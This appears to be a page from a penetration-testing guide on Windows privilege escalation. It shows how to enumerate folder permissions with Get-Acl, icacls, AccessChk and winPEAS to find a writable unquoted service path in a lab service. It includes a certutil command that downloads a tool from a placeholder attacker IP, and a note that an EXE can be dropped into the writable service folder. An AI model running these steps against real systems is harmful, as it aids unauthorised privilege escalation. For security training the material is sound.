Enumerating service permissions with Get-Acl (PowerShell)¶
-
Get-Acl
is a built-in cmdlet in PowerShell. No additional modules are required.
Microsoft documentationNote: We can use the following command to enumerate folder permissions.
-
Unlike
icacls
,Get-Acl
does not explicitly list "Modify". Instead, it provides an Access Mask Format, where numbers represent permissions (e.g., Modify).
Get-Acl -Path C:\ | Format-List
-
For example, numerical value
-1610612736
represents Read and Execute.
Get-Acl -Path "C:\Program Files" | Format-List
-
In this example,
BUILTIN\Users
haveFullControl
onC:\Program Files\Unquoted Path Service
.
Get-Acl -Path "C:\Program Files\Unquoted Path Service" | Format-List
Enumerating service permissions with icacls (CMD)¶
-
To verify permissions with
icacls
, review Microsoft’s documentation. -
Example for
C:\
: Administrators and SYSTEM have Full Control; Authenticated Users can create folders but not files.
icacls C:\
-
Example for
C:\Program Files
: TrustedInstaller has Full Control; SYSTEM and Administrators have Modify/Full Control; Users have Read & Execute.
icacls "C:\Program Files"
-
Example for
C:\Program Files\Unquoted Path Service
: Users, SYSTEM, and Administrators have Full Control (inherited).
icacls "C:\Program Files\Unquoted Path Service"
-
Example for
C:\Program Files\Unquoted Path Service\Common Files
: Users have Read & Execute; SYSTEM/Administrators have inherited Full Control; CREATOR OWNER also has inherited Full Control.
icacls "C:\Program Files\Unquoted Path Service\Common Files"
-
POC: Moving an EXE into
C:\
,C:\Program Files
, orC:\Program Files\Unquoted Path Service\Common Files
is blocked, but works inC:\Program Files\Unquoted Path Service\
.
Enumerating service permissions with AccessChk¶
-
Download the Sysinternals Suite if not already installed: Microsoft site.
Note: Verify system architecture:
systeminfo | findstr /B /C:"System Type"
-
Host
accesschk64.exe
with Python and transfer it:
certutil -urlcache -f http://[IP-ADDRESS]:8000/accesschk64.exe accesschk64.exe
-
Enumerate permissions on
C:\
. Output shows write access is restricted to creating subfolders (FILE_ADD_SUBDIRECTORY
).
.\accesschk64.exe -wvud "C:\" -accepteula
-
For
C:\Program Files
: SYSTEM and Administrators have extensive permissions; standard users cannot write.
.\accesschk64.exe -wvud "C:\Program Files" -accepteula
-
For
C:\Program Files\Unquoted Path Service
: All users, including standard users, have Full Write permissions.
.\accesschk64.exe -wvud "C:\Program Files\Unquoted Path Service" -accepteula
Enumerating unquoted service paths with winPEAS¶
-
winPEAS
can detect unquoted service paths in the “Service Information” section. -
Scroll further to the “Application Information → Installed Applications” sub-section to check which directories in the unquoted path are writable.
Note
If no writable directories are found in the unquoted service path, the service cannot be exploited.